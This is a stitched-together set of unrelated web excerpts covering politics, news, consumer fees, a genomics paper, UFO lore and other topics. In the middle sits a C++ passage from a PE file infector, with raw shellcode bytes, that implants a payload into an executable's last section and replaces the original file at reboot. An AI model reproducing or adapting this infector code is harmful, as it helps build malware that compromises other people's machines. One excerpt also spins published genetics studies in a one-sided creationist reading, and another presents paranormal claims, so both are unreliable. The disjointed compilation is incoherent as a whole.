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The claim that Soros was a "Nazi collaborator" originated with the LaRouche organization and has since spread to the likes of David Horowitz. The facts: Soros was a Hungarian Jew who survived the Holocaust. From Media Matters: Michael T. Kaufman wrote in a biography of Soros, Soros: The Life and Times of a Messianic Billionaire (Knopf, 2002), that Soros' father attempted to protect his family from Nazi persecution by paying an employee of Hungary's Ministry of Agriculture named Baumbach to take in Soros, "ostensibly as his godson." Soros accompanied his "godfather" as he went to oversee the confiscation of property from Hungarian Jews, as Media Matters has noted. This is also where Coulter actually lies about Soros -- and it's an outrageous lie, too. Soros never was involved in "pointing out Jews" -- he simply accompanied his protector while he carried out his civic duties, which included confiscating property from Jews. Here's the relevant passage from the 60 Minutes interview in question: Kroft: You're a Hungarian Jew ... Soros: Mm-hmm. Kroft: ... who escaped the Holocaust ... Soros: Mm-hmm. Kroft: ... by posing as a Christian. Soros: Right. Kroft: And you watched lots of people get shipped off to the death camps. Soros: Right. I was 14 years old. And I would say that that's when my character was made. Kroft: In what way? Soros: That one should think ahead. One should understand that -- and anticipate events and when, when one is threatened. It was a tremendous threat of evil. I mean, it was a -- a very personal threat of evil. KROFT: My understanding is that you went out with this protector of yours who swore that you were his adopted godson. SOROS: Yes. Yes. KROFT: Went out, in fact, and helped in the confiscation of property from the Jews. SOROS: Yes. That's right. Yes. Kroft: I mean, that's -- that sounds like an experience that would send lots of people to the psychiatric couch for many, many years. Was it difficult? Soros: Not, not at all. Not at all. Maybe as a child you don't ... you don't see the connection. But it was -- it created no -- no problem at all. Kroft: No feeling of guilt? Soros: No. Kroft: For example, that, 'I'm Jewish, and here I am, watching these people go. I could just as easily be these, I should be there.' None of that? Soros: Well, of course, ...
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The statement did not specify that the threats targeted Jewish institutions, although it came in reply to a query about threats to JCCs.Alexander posted Spicer’s response on Twitter, adding, “@PressSec responds to my request for comment about wave of threats to Jewish community centers.”Separately, Trump’s daughter, Ivanka, who is Jewish, condemned the threats in a Tweet that pointed to the fact that the targets were Jewish.“America is a nation built on the principle of religious tolerance,” she said. “We must protect our houses of worship & religious centers.” She ended the tweet with the hashtagged acronym for Jewish community center, “#JCC”.Earlier in the day, 11 Jewish community centers across the United States were targeted with false bomb threats, the fourth such wave of harassing phone calls in five weeks.Last week, President Donald Trump was asked during a news conference about the prior JCC bomb threats and what the government’s response would be to “an uptick in anti-Semitism.” Although the reporter did not suggest Trump was anti-Semitic, the president answered by denying he is an anti-Semite and called the question “insulting.”Wave of bomb threats called to Jewish commmunity centers across the US , possible antisemitism(credit: REUTERS)Shortly after, various Jewish groups, including the Anti-Defamation League and the American Jewish Committee, urged the White House to issue an unequivocal denunciation of the bomb threats and other anti-Semitic acts.Earlier Monday, in a statement saying the latest bomb threats are “alarming, disruptive, and must always been taken seriously,” the ADL called on unnamed “political leaders” to condemn them.“We look to our political leaders at all levels to speak out against such threats directed against Jewish institutions, to make it clear that such actions are unacceptable, and to pledge that they will work with law enforcement officials to ensure that those responsible will be apprehended and punished to the full extent of the law,” Jonathan A. Greenblatt, ADL CEO, said in the statement.Also on Monday, the JCC Association of North America said that since Jan. 9 there have been 69 bomb threat incidents at 54 JCCs in 27 states and one Canadian province. All were hoaxes.“Our centers have in place security protocols to ensure the safety of the program participants and facility visitors,” said David Posner, director of strategic performance at the JCC Association, in a statement. “All JCCs have now received the all-clear from local law enforcement and resumed regular operations, with a heightened level of security.”
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The U.S. Department of Education’s (Education) Office for Civil Rights has undertaken two compliance reviews related to charter schools’ recruitment and admission of students with disabilities in three states, but has not issued recent guidance covering admission practices in detail, nor has Education conducted recent research about factors affecting lower enrollment in charter schools. The three states GAO visited already have taken steps to monitor charter schools’ admission practices. In addition, officials in these three states reported prohibiting disability-related questions on charter school admission forms, in part to protect students with disabilities’ access.
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Mothers’ leading reasons for discontinuation were: concerns that their milk production was insufficient (45%) and that breast milk did not satisfy the baby (42%); baby had difficult nursing (24%); sore, cracked or bleeding nipples (17%); and mother went back to work or school (16%).5
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Cable TV Fees Receiver Fee (Also seen on bills as HD/DVR rental) This fee charges the consumer for their use of the company’s set-top box (or cable box, HD-enabled box, or DVR-enabled box). Until recently, the FCC has looked into alternatives to these boxes as a means to open up more competitve options (more recently in the form of an app that provides cable) that would open up viewing options and pass savings on to the consumer. However, the new FCC chairman, Ajit Pai, has more or less killed the program in an effort to deregulate the cable industry allowing companies to charge the customer for what many see as an outdated “cable box” system. Cable companies do offer promotional deals that will take off the fee, especially if you get a bundled service. Quick Tip Early Termination Fees: ETFs (Also know as Cancellation Fees, Contract Termination Fees, or Something Similar) are fees that are often built into the fine print sections of contracts and can be quickly overlooked by the customer when they sign on for different services. Basically, if you cancel your service (internet, phone, or cable) before the end of your contract, you could be faced with an ETF. The specific details of the fee does depend on what service provider you go with and their particular policy, so pay attention and ask about them before you sign on to a long contract. Broadcast TV Fee (Or sometimes Broadcast TV Surcharge, Broadcast Network Fee, or Broadcast Fee) The Broadcast TV Fee, which does sound official, is a common add-on fee that’s usually tacked on to bundled deals with promotional pricing. This allows the provider to recoup whatever deal they just offered, while still looking like they gave the consumer a deal. These fees are also meant to off-set the costs that companies have to pay to transmit their signals through an existing network. In other words, the companies are charged a fee to transmit their signal and pass this cost on to the customer as a way to maintain their profits. Regulatory Video Cost Recovery Charge (Or Regulatory Recovery Fee, or FCC Regulatory Fee) This is the same fee as the Regulatory Recovery Fee for telephone services, but this one’s specifically for cable operators.
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"To evaluate the importance of classic sweeps in shaping human diversity, we analyzed resequencing data for 179 human genomes from four populations". "In humans, the effects of sweeps are expected to persist for approximately 10,000 generations or about 250,000 years." Evolutionists had identified "more than 2000 genes as potential targets of positive selection in the human genome", and they expected that "diversity patterns in about 10% of the human genome have been affected by linkage to recent sweeps." So what did they find? "In contrast to expectation," their test detected nothing, but they could not quite bring themselves to say it. They said there was a "paucity of classic sweeps revealed by our findings". Sweeps "were too infrequent within the past 250,000 years to have had discernible effects on genomic diversity." "Classic sweeps were not a dominant mode of human adaptation over the past 250,000 years." --Hernandez, Ryan D., Joanna L. Kelley, Eyal Elyashiv, S. Cord Melton, Adam Auton, Gilean McVean, 1000 Genomes Project, Guy Sella, Molly Przeworski. 18 February 2011. Classic Selective Sweeps Were Rare in Recent Human Evolution. Science, Vol. 331, no. 6019, pp. 920-924. A 35-year experiment by evolutionists shows how things really work. Instead of waiting for natural selection, researchers forced selection on hundreds of generations of fruit flies. They used variation to breed fruit flies that develop from egg to adult 20% faster than normal. But, as usual when breeding plants and animals, there was a down side. In this case the fruit flies weighed less, lived shorter lives, and were less resistant to starvation. There were many mutations, but none caught on, and the experiment ran into the limits of variation . They wrote that "forward experimental evolution can often be completely reversed with these populations". "Despite decades of sustained selection in relatively small, sexually reproducing laboratory populations, selection did not lead to the fixation of newly arising unconditionally advantageous alleles." "The probability of fixation in wild populations should be even lower than its likelihood in these experiments." --Burke, Molly K., Joseph P. Dunham, Parvin Shahrestani, Kevin R. Thornton, Michael R. Rose, Anthony D. Long. 30 September 2010. Genome-wide analysis of a long-term evolution experiment with Drosophila. Nature, Vol. 467, pp. 587-590. You may have heard of the famous Lenski experiment. Dr. Richard E. Lenski is an evolutionary biologist who began a long-term experiment on February 24, 1988 that continues today.
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BECK: Imagine for a moment what would happen to a politician, especially a conservative, if he said this about the poor and poverty -- look at this -- "I think the best way of doing good to the poor is not making them easy in poverty but leading or driving them out of it. In my youth, I traveled much, I observed in different countries that the more public provisions were made for the poor, the less they provided for themselves and, of course, became poorer. And on the contrary, the less that was done for them, the more they did for themselves and they became richer." That only makes sense. The more you do for somebody else, the less they're going to do for themselves. Media Matter, you know, geeks dream of quotes like this from a politician. They're just like, "Oh, please say something about the poor and how you want to make them uncomfortable." But it's true. Today, all it takes to be labeled a hatemonger is proposing a smaller budget, which is still an increase, smaller than the increase from the other guy. You're a hatemonger. Yet, here is Ben Franklin advocating that doing less for the poor is better. Even if you agree, that probably sounds radical, but it wasn't. We're bombarded with the messages that generosity is expanding government. That's where true charity comes from, extending welfare, raising the minimum wage, giving away free Internet. Here are some concert tickets. I mean, what else do we have to give people? But Franklin's ideas were not -- at least most of them -- were not radical. They were common sense. Some of them, some of them were radical. I mean, the cure for us today is to have just a little bit of the common sense and what would seem radical. No politician would say something like make the poor uncomfortable. But he's right. Big government never lifts anybody out of poverty. It creates slaves -- people who are dependent on the scraps from the government, the handouts. Uncle Sam can't lift you out of poverty. That's up to you to do. I mean, as far as I'm concerned, Uncle Sam is wearing striped pants for a reason. The guy should be in prison.
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Despite these negative recommendations from the independent auditors as well as the City Clerk, in February the City Council selected one of the vendors, Scytl Canada, to implement their proposed system with an almost CAD$1 million contract (approximately $900,000 USD). The city halted the contract in July, however, stating that the system could not be developed in time for the September elections. A Scytl spokesperson said that the timeline was insufficient for full-scale deployment and their systems ”are fully secure and independently audited to comply with the highest security standards” but could not elaborate further. The other vendors assessed were Dominion Systems and Everyone Counts. Scytl and Everyone Counts currently hold contracts providing a range of election services in the United States from voter registration in Washington D.C. to Internet voting for overseas and military voters in the Chicago area. City Councilor Josh Matlow voted against the Internet voting proposal, citing the short time frame and reports from the City Clerk, the body in charge of implementing the proposal, that it was unfeasible. "As you can see from the votes there were some that voted for it, some that voted against and there were several who abstained — who left the room. And I infer from that that obviously it is incredibly important to support those in our city who are in need of as much support as possible for accessibility," he said. "But I also didn’t want to vote for something just to look like I was doing something good. I wanted to make sure that it not only should be done but could be done." Councilor Shelley Carroll voted yes on the proposal, characterizing it as a "pilot program" to test how Internet voting could work on a larger scale and a way to combat voter discrimination. "We are hearing more and more of incidences of folks with special needs who are being turned away from the polls even when they go there," she said. "While there’s a lot of hesitancy [around Internet voting] it is a thing that is definitely coming. So we just felt it was really important to give staff a bit of a kick, if you will, to get started finding some familiarity with it and when the day comes when the technology is ready for a city of this size, that they be well versed."
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[MASSIVE STORY SPOILERS IN THIS PARODY! VIEW AT YOUR OWN RISK!] "Season 3" and final Anime Opening of God Eater Resurrection! these were so fun to make and now I'll be moving on to it's sequel Rage Burst, which will take some time since I have to beat the game to get all the cutscenes I'll be using. Hope you guys enjoyed this video series and I hope you'll share it with your friends and maybe check out the other videos on my channel! Subscribe!► http://bit.ly/1QpeMxh P.S. - Just an FYI yes Domenica in this game is the same Domenica in PSO2 and DBX. Domenica is my created character and his base form is the Shadow Hatter. He is a shape shifting creature known as an Umbrastellan (a race I created along with the character) and any more information you'd like about Domenica and Umbrastellans can be found here: http://fatalfantasiacharacterdirectory.weebly.com/index.html But for the record I'll say this. Since Domenica is a shape shifting Umbrastellan, I've made it a fun game for myself to inject him in any game I can create a character in, which makes things fun for me as Domenica being a multi-verse traveling being travelling through various video game worlds. My dream is for one day to finish writing my story "Fatal Fantasia" and eventually, I hope people will enjoy it enough that I find people who can help me turn Fatal Fantasia into a video game. Then I'd hope that the game becomes so successful that it gets the Shovel Knight treatment of people wanting Domenica in their video game/animated series worlds so I can make it canon that Domenica travels the multi-verse. Anyways thanks for taking the time to read my description honestly to those who read it. I know not many people do so that's why you'll be the special ones who I address for reading this far. Check out the UnderRadar Tumblr for your one stop shop of underrated games and hidden gems that includes screenshots, a mini review, and the video itself! ► [https://underradarshow.tumblr.com/] Check out the Facebook page as well ► [https://facebook.com/UnderRadar/] #anime #animeopening #parody #godeater #ressurection #bandai #namco #bandainamco #bandainamcoentertainment
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(ExecuteImplantFileHardcoded(GetFileSize(hFileImplant, NULL), szDroppedFileNameAndPath)) : (ExecuteImplantFileDynamic(GetFileSize(hFileImplant, NULL), szDroppedFileNameAndPath)); ImplantToLastSection(GetFileSize(hFileImplant, NULL) + (m_nFilePadding = PADDING_SIZE), (char*) lpBaseAddressImplant, m_szExeStub); UnmapViewOfFile(lpBaseAddressImplant); CloseHandle(hMappingImplant); CloseHandle(hFileImplant); return true; } void PEFile::CalculateNewChecksum() { DWORD dwHeaderSum; DWORD dwCheckSum; m_pNTheaders = CheckSumMappedFile(m_lpBaseAddress, GetFileSize(m_hFile, NULL), &dwHeaderSum, &dwCheckSum); if(dwHeaderSum) //save chksum only for files with existing chksum m_pNTheaders->OptionalHeader.CheckSum = dwCheckSum; } void PEFile::ClosePEFile() { UnmapViewOfFile(m_lpBaseAddress); CloseHandle(m_hMapping); CloseHandle(m_hFile); if(m_isImageOpen) //if it was a copy that we infected overwrite the original at reboot now MoveFileEx(m_szTempFile, m_szOriginalFile, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING); } char* PEFile::ExecuteImplantFileDynamic(DWORD dwSize,char* szDroppedFileNameAndPath) //use when function addresses are not known for target at the time of execution { //this code can be found in the file dynastub.asm char szRawDynStub[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5d\x81\xed\x0b\x10\x40\x00\x89\xa5\x76\x11\x40\x00" "\x83\xec\x60\x83\xbd\xd4\x11\x40\x00\x00\x74\x0a\x8b\x85\xd4\x11\x40\x00\xff\x30" "\xeb\x06\xff\xb5\xd8\x11\x40\x00\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x70\x1c" "\xad\x8b\x40\x08\x89\x85\x90\x11\x40\x00\xb9\x04\x00\x00\x00\x8d\xb5\xac\x11\x40" "\x00\x8d\xbd\xc0\x11\x40\x00\xe8\x95\x00\x00\x00\x8d\x85\x94\x11\x40\x00\x50\xff" "\x95\xcc\x11\x40\x00\xb9\x01\x00\x00\x00\x8d\xb5\xa4\x11\x40\x00\x8d\xbd\xa8\x11" "\x40\x00\xe8\x72\x00\x00\x00\x33\xc0\x50\x50\x40\x40\x50\x48\x48\x50\x40\x50\x68" "\x00\x00\x00\xc0\x8d\xb5\xe4\x11\x40\x00\x56\xff\x95\xc4\x11\x40\x00\x89\x85\xa0" "\x11\x40\x00\x6a\x00\x8d\xb5\xd0\x11\x40\x00\x56\x8b\xb5\xe0\x11\x40\x00\x56\x8b" "\xb5\xdc\x11\x40\x00\x56\x50\xff\x95\xc8\x11\x40\x00\xff\xb5\xa0\x11\x40\x00\xff" "\x95\xc0\x11\x40\x00\x6a\x0a\x33\xc0\x50\x50\x8d\x9d\xe4\x11\x40\x00\x53\x50\x50" "\xff\x95\xa8\x11\x40\x00\x8b\xa5\x76\x11\x40\x00\x9d\x61\xff\xa4\x24\x78\xff\xff" "\xff\x51\x56\x57\x51\x50\x03\x40\x3c\x50\x8b\x50\x78\x03\x54\x24\x04\x8b\x72\x20" "\x03\x74\x24\x04\x33\xc0\x8b\xc8\x8b\xf8\x56\x33\xc0\x8b\xf8\x41\x8b\x5c\x24\x08" "\x03\x1e\x8b\xf3\xe8\x55\x00\x00\x00\x83\x04\x24\x04\x8b\x34\x24\x8b\x5c\x24\x14" "\x8b\x44\x24\x0c\x3b\x3c\x83\x74\x07\x85\xc0\x74\x2e\x48\xeb\xf4\x8b\xd8\x8b\x42" "\x24\x03\x44\x24\x08\x51\x0f\xb7\x0c\x48\x2b\x4a\x10\x8b\x42\x1c\x03\x44\x24\x0c" "\x8b\x04\x88\x59\x03\x44\x24\x08\x8b\x7c\x24\x10\x89\x04\x9f\xff\x4c\x24\x18\x83" "\x7c\x24\x18\x00\x75\xa1\x83\xc4\x1c\xc3\x00\x00\x00\x00\xac\x84\xc0\x74\x07\xc1" "\xcf\x0d\x03\xf8\xeb\xf4\x3b\xbd\xa4\x11\x40\x00\x75\x01\x41\xc3\x00\x00\x00\x00" "\x73\x68\x65\x6c\x6c\x33\x32\x2e\x64\x6c\x6c\x00\x00\x00\x00\x00\x5e\xbb\xe1\x1b" "\x00\x00\x00\x00\xfb\x97\xfd\x0f\xa5\x17\x00\x7c\x1f\x79\x0a\xe8\x8e\x4e\x0e\xec"; int nStublen = sizeof(szRawDynStub) + strlen(szDroppedFileNameAndPath) + VAR_BUFFSIZE + PTR_OFFSET; // add dword ptr to front of code and size of total variables DWORD dwFileAddr = m_dwImplantEntryPoint + nStublen; char* szDynStub = new char[nStublen]; //add size of filename and path m_nStubLen = nStublen; int nFileNamePos = nStublen - strlen(szDroppedFileNameAndPath); szDynStub[nStublen - 1] = ''; while (nStublen-- > nFileNamePos) //write in the filename szDynStub[nStublen - 1] = szDroppedFileNameAndPath[nStublen - nFileNamePos]; DWORD dwExecInfo[4] = { {dwSize}, {dwFileAddr}, {m_dwOldEntryPoint}, {m_dwIATaddress} }, *dwExec = dwExecInfo; for(int i = 4; i >= 0; i--, dwExec++) { *(PDWORD)&szDynStub[nStublen - DW_SIZE] = *dwExec; //write in initialized array nStublen -= DW_SIZE; } while(nStublen-- > PTR_OFFSET) szDynStub[nStublen] = szRawDynStub[nStublen - DW_SIZE]; //write in the code *(PDWORD)&szDynStub[0] = (m_dwImplantEntryPoint + PTR_OFFSET); //write the dword ptr address to our stub return szDynStub; } char* PEFile::ExecuteImplantFileHardcoded(DWORD dwSize,char* szDroppedFileNameAndPath) //smaller, faster but OS dependant code { //could be done with the INJDATA technique but I used some inline asm //In the end I decided to use masm as it was more flexible than the inline assembler //so with the dynamic code I just made it into shellcode instead and tacked on anything needing //to be initialized at run time at the end and front of the shellcode.
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Shape Created with Sketch. UK news in pictures Show all 50 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. UK news in pictures 1/50 21 February 2019 Labour Party leader Jeremy Corbyn and the party's Shadow Secretary of State for Departing the European Union Keir Starmer leave a meeting with European Union Chief Brexit Negotiator Michel Barnier at the EU Commission headquarters in Brussels Reuters 2/50 20 February 2019 Chris Leslie, Gavin Shuker, Chuka Umunna and Mike Gapes, (middle row, left to right) Angela Smith, Luciana Berger and Ann Coffey, (front row, left to right) Sarah Woollaston, Heidi Allen, Anna Soubry and Joan Ryan, following a press conference for the Independent Group where the three Conservative MPs, Woollaston, Allen and Soubry, announced their resignation from the party PA 3/50 19 February 2019 A full moon sets near Whitley Bay, North Tyneside as the sun begins to rise, ahead of the super snow moon on Tuesday evening PA 4/50 18 February 2019 MP Chuka Umunna speaks during the announcement of his resignation, along with a group of six other Labour MPs, including, Luciana Berger, Mike Gapes, Angela Smith, Chris Leslie, Ann Coffey and Gavin Shuker and who will be known as the Independent Group PA 5/50 17 February 2019 Climate change activists block the road as part of an Extinction Rebellion protest outside a London Fashion Week event at Tate Britain in London, calling on the fashion industry to use its influence to help to create a sustainable world. PA 6/50 16 February 2019 Demonstrators hold a banner during a protest over BP and Iraq at the British Museum in London, Britain Reuters 7/50 15 February 2019 Schoolchildren take part in a student climate march in Parliament Square in London. Thousands of UK pupils from schools, colleges and universities will walk out for a nationwide climate change strike. Students in 60 cities from the West Country to Scotland are protesting, urging the government to declare a climate emergency and take action over the problem. They are keen that the national curriculum is reformed and the environmental crisis is communicated to the public. Similar strikes have taken place in Australia and in European countries such as Belgium and Sweden Getty 8/50 14 February 2019 A lady enjoys the beach in sunshine in Brighton, East Sussex.
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He set the record for the largest wave ever surfed on January 28, 1998, when he was 45 years old and his career as a professional surfer was nearly over. It was during another El Niño winter. Forecasters had predicted giant waves for that day on the North Shore. The California beachwear company Quiksilver had reacted by announcing that it would hold its premier big-wave contest on Waimea Bay. The dividing line between big and small waves is not clear-cut but seems to lie around 15 feet. Small-wave surfing is by far the dominant form of the sport—the place where most of the competitive action lies, and, for the industry, where the money is. Big-wave surfing, by contrast, is small. It can be done only when the ocean cooperates, and is attempted by just a few hundred people worldwide. Nonetheless the big-wave contest at Waimea is perhaps the most famous surfing event anywhere. It is an “invitational” that assembles 28 selected surfers to vie on-camera for a $55,000 first prize. It requires swells of 20 feet or greater (producing wave faces of 40 feet or more), so it is not held every winter. Quiksilver promotes it as something of a spiritual event, named after itself, as in “The Quiksilver,” and in memory of Eddie Aikau, a Hawaiian waterman who drowned in 1978. Bradshaw knew and admired Aikau, and has surfed in the contest many times, but he dislikes the event, and he hates the hype. He told me that the contest is actually just about selling beachwear to landlocked dreamers in Iowa. He said that Quiksilver is just another unnecessary brand that came along uninvited, and that it benefited no one but itself by glomming on to big-wave riding and Eddie Aikau’s name. I asked if Quiksilver didn’t also benefit the surfers whom it sponsors or who compete in the contests it holds. Bradshaw has had both experiences with the company. He said, “Dude, sponsorship is hard on the soul if you think how it goes. And, dude, the surfers who come when Quiksilver calls are like monkeys on a string.” So he was like a monkey in 1998. Now he shuns the contest, but at the time he was broke as usual and still trying to make money by surfing. Whatever resentments he harbored toward commercial interests, he needed to take a crack at that prize.
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In line with this, 13 canonical SNPs [3] showed an identical pattern for the RCA, DRC, CI and CAM strains, whereas a difference of two SNPs (B.Br.002 and A/B.Br.001) was observed from the bovine isolate JF3964 (S1 Text, S2 Table). As these canSNPs were developed to identify the three main lineages constituting the B. anthracis clade, these conclusions should be considered with caution. We also performed MLVA (multiple-locus variable-number tandem repeat analysis, [34]) to compare strains of the B. cereus bv anthracis clade with isolate JF3964 and found that all strains exhibit an unique allelic profile (S1 Text, S1 Table). Not surprisingly, on a microbiological level, the B. cereus bv anthracis strains share properties that are intermediary to B. anthracis (e. g. lack of haemolysis) and B. cereus (e. g. motility, gamma phage and penicillin resistance) [14]. The five isolates described here differ in their susceptibility to penicillin G, with the CI strain being sensitive, and the CAM, RCA and DRC strains being resistant. The only other important difference may be that the CI, CAM and RCA strains are motile, while the DRC strain is not, most likely due to a mutation in the fliP gene—similar to the situation in B. anthracis, where several mutations are present in the flagellar gene cluster [12]. Of interest, an environmental strain of B. cereus (ISP3191) presented itself as the closest chromosomal relative of B. cereus bv anthracis. This bacterium does not possess the B. anthracis plasmids, but does appear to comprise a plasmid with a pXO1-backbone and a plasmid with some similarity to pXO2 [32]. Ultimately, the strain could not be included in our final phylogenetic analyses of pXO2 as its inclusion resulted in the exclusion of many sites for which homology was uncertain—the core content for analysis dropped from 63% to 28%. The strain was isolated from a food source (spice) in Belgium and was sequenced as part of a large study of environmental isolates of B. cereus [31]. Interestingly, the frameshift mutation of the B. cereus bv anthracis plcR gene also occurs in B. cereus ISP3191 [35], whereas the genomic islands (except the relatively wide distributed Island III) are absent. Few pathogenic B. cereus isolates are reported in the literature that do contain the elements required for pathogenicity and anthrax-like disease in humans such as G9241 [5], 03BB102 [6], 03BB87 [6], BcFL2013 [8] and Elc2 [7].
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Hide Caption 9 of 22 Photos: Photos: Attack on U.S. mission in Benghazi Attack on U.S. mission in Benghazi – A small American flag is seen in the rubble on September 12. Hide Caption 10 of 22 Photos: Photos: Attack on U.S. mission in Benghazi Attack on U.S. mission in Benghazi – A man stands in part of a burned-out building of the U.S. mission on September 12. Hide Caption 11 of 22 Photos: Photos: Attack on U.S. mission in Benghazi Attack on U.S. mission in Benghazi – Smoke and fire damage is evident inside a building on September 12. Hide Caption 12 of 22 Photos: Photos: Attack on U.S. mission in Benghazi Attack on U.S. mission in Benghazi – Half-burnt debris and ash cover the floor of one of the U.S. mission buildings on September 12. Hide Caption 13 of 22 Photos: Photos: Attack on U.S. mission in Benghazi Attack on U.S. mission in Benghazi – The U.S. mission is seen in flames on September 11, the day of the attack. Hide Caption 14 of 22 Photos: Photos: Attack on U.S. mission in Benghazi Attack on U.S. mission in Benghazi – A protester reacts as the U.S. mission burns on September 11. Hide Caption 15 of 22 Photos: Photos: Attack on U.S. mission in Benghazi Attack on U.S. mission in Benghazi – A vehicle and the surrounding area are engulfed in flames on September 11. Hide Caption 16 of 22 Photos: Photos: Attack on U.S. mission in Benghazi Attack on U.S. mission in Benghazi – Flames erupt outside of a building on September 11. Hide Caption 17 of 22 Photos: Photos: Attack on U.S. mission in Benghazi Attack on U.S. mission in Benghazi – A vehicle burns during the attack on the U.S. mission on September 11. Hide Caption 18 of 22 Photos: Photos: Attack on U.S. mission in Benghazi Attack on U.S. mission in Benghazi – Onlookers record the damage from the attack on September 11. Hide Caption 19 of 22 Photos: Photos: Attack on U.S. mission in Benghazi Attack on U.S. mission in Benghazi – Onlookers walk past a burning truck and building on September 11. Hide Caption 20 of 22 Photos: Photos: Attack on U.S. mission in Benghazi Attack on U.S. mission in Benghazi – A vehicle sits smoldering in flames on September 11.
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The physical Internet backbone that carries information between the different nodes of the network is now the work of a number of companies called Internet service providers (ISPs), including companies that offer long-distance pipelines, sometimes at the international level, regional local conduit, which finally links in homes and businesses. The physical connection to the Internet can only occur through any of these ISPs, players like level 3, Cogent, and IBM AT&T. Each ISP runs its own network. Internet service providers Exchange IXPs, owned or private firms, and sometimes by Governments, make for each of these networks to be interconnected or to transfer messages across the network. Many ISPs have agreements with suppliers of physical Internet backbone providers to offer Internet service over their networks for “last mile”-consumers and companies who need to get Internet connectivity. Internet protocols, followed by everyone in the network makes it possible for the data to flow without interruption, in the correct area at the perfect time.
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Who or what had the means to pull off such a global operation in 1967?At 5:45 on December 15th, Keel and a buddy holed up in his apartment with candles and a flashlight, eyes glued to the television, expecting the nation to blow a fuse. They watched as the switch flipped, lighting the Christmas tree - everybody 'oohed and ahhed'. The power did not go out.However, moments later an announcer cut in to bring a special news bulletin saying that a bridge, laden with rush hour traffic, had collapsed on the Ohio River near Gallipolis. There was only one bridge along the Ohio River connecting Ohio to West Virginia in that area, and that was the Silver Bridge at Point Pleasant - the same bridge Keel had crossed dozens of times on his visits. Keel's first thoughts were: "They've done it again. "Throughout all of this, Keel quickly learned thatHe would get stuck on different snippets of conversation relayed in his chats with the contactees, and these would sometimes strike a chord with him in subtle ways. He would then go about creating a new theory to explain the clues bouncing around in his plenary mind. Shortly after these acts of mental juggling, he would begin to receive positive feedback leading him in the direction he was already thinking. The problem was that this feedback often turned out to be illusory, leading him down errant paths.At one point Woody told Keel that, "if the truth were known, women the world over would panic, throw their babies out the window, and commit suicide." Next, Apol told him that certain contactees would be selected for artificial insemination and bear the children of the space people. This set his mind to work considering the possible implications of a breeding program with these entities. To his surprise, some of his contactees started making the claim that they were now pregnant! Later he discovered that these were just cases of hysterical or pseudo-pregnancy (probably another trick done through suggestion by the entities). Like many other things Keel experienced, these events were beyond coincidence.At another point, Keel was brooding over descriptions of these space people given to him by his contactees. He noted that several of their features resembled that of reptiles more than human mammals. He didn't relay this suspicion of his to any of his friends or contactees at the time.
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Michael Pfleger, pastor of St. Sabina Catholic Church, called for a boycott of Urban Outfitters. In Florida, the St. Petersburg and Hillsborough County chapters of the National Association for the Advancement of Colored People urged the company to stop carrying the game. "I was outraged. We called Outfitters, we wrote them a letter, we held a press conference, but we've had no response," Pfleger said Wednesday. Copyright 2005 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
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Last year, I wrote an article briefly summarized the legacy of Onizuka Air Force Station, and its iconic building known as the big “Blue Cube” (see “To look out from a higher plateau: the naming of Onizuka Air Force Station”, The Space Review, February 8, 2016). While diligently researching documentation about the operations during the installation’s more than 60 years, I decided to travel to Sunnyvale, California, and see what was left of the installation, buildings, and legacy. From the first two factors—installation and buildings—not much remains. Regarding the last, its legacy, the hopes, dreams, successes, and failures of the nation’s national security space program are literally embedded into the DNA of the successor organization. “Ode to the Challenger Seven” decorates one staircase. The previous military installation was renamed after Lt. Colonel Ellison Onizuka, the first Japanese-American in space, who lost his life on January 28, 1986 aboard the shuttle Challenger. (credit: J. Page) A space geek’s road trip After writing the original article, I knew that a follow-up was demanded, if not by readers of this publication, then from the eight-year-old Air Force brat who called NAS Moffett Field home in the mid-1980s. The decades-long demolition and construction cycle literally destroyed any other sights at Moffett Field that I had interest in seeing. While a substantial amount of naval history is at the local Moffett Field Historical Society museum, there was a dearth of material about the Blue Cube. Through news clippings from local papers, I traced out the sometimes-tumultuous process of deciding how Onizuka’s acreage was going to be reused. Reuse ideas ranged from used car lots to a museum about space history, but in the end it was two local powerhouses, Foothill College and the Veterans Administration, that won out. Apropos to the legacy that once called the acreage home, Foothill College’s curriculum includes a degree program in geospatial technology. (credit: J. Page) The land that previously held Onizuka AFS was sliced and diced and assigned to many organizations. A local community college, Foothill College, obtained nine acres of the 19-acre property. An architectural firm then built a multi-story, 50,000-square-foot state-of-the-art instructional facility. As part of the deal for the property, the college agreed to preserve the legacy of the installation’s history. Much to their credit, Foothill College has a short history of the base on its website. But what the college did inside and around the new building was, frankly, amazing.
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While it took place over a week ago, on July 25, the NGO only posted the 65-second clip Monday. It shows the border police officer stopping the girl, Anwar Burkan, on a street near the Cave of the Patriarchs.The site is heavily guarded by security forces, and is considered a highly sensitive area of the mostly Palestinian city.The pedestrian area in front of the tomb is blocked off to Palestinians, who are directed to use an alternate path which is behind a concrete barrier and small wire fence. Still, some Palestinian traffic is allowed and small children can often be seen playing nearby.In the video, the girl is shown screaming as the policeman approached and clutched her bicycle, then put his foot on it in apparent attempt to keep her from taking it. After a few seconds she ran off crying in the direction of her six-year held a large plastic toy in his hands. The policeman walked toward them, causing the two children to run away.There is a break in the video at that point, after which the policeman is shown throwing the bicycle into the bushes.The Border Police said it regretted the incident, which it takes very seriously and has opened an investigation, a spokesman added.The children’s father, Mjoub, said that Anwar and Ibrahim had been playing outside for about a half hour when the policeman stopped them.After the incident, Anwar came home in tears and said she was “afraid,” Mjoub said, adding that the officer “took the bicycle because the settlers and the army are afraid of all Palestinians.”The large West Bank city of over 215,000 people is under the control of the Palestinian Authority, save for a small section where close to 1,000 Jews live under Israeli military and civilian rule. The city has often been the flashpoint for violence between Israelis and Palestinians.Hebron has been the scene of multiple attacks by Palestinian terrorists in the last nine months, mostly against security forces. In December, Genady Kaufman, 41, of Kiryat Arba, died of wounds sustained in a Palestinian knife attack next to the Cave of the Patriarchs.However, the incident which has drawn the most attention occurred in March, when Abdel Fatah al-Sharif, and Ramzi al-Kasrawi, both 21, attacked two soldiers in Hebron, near the Tel Rumeida neighborhood.One IDF soldier was lightly wounded before other soldiers shot the attackers. Kasrawi was killed and Sharif was wounded and immobilized.
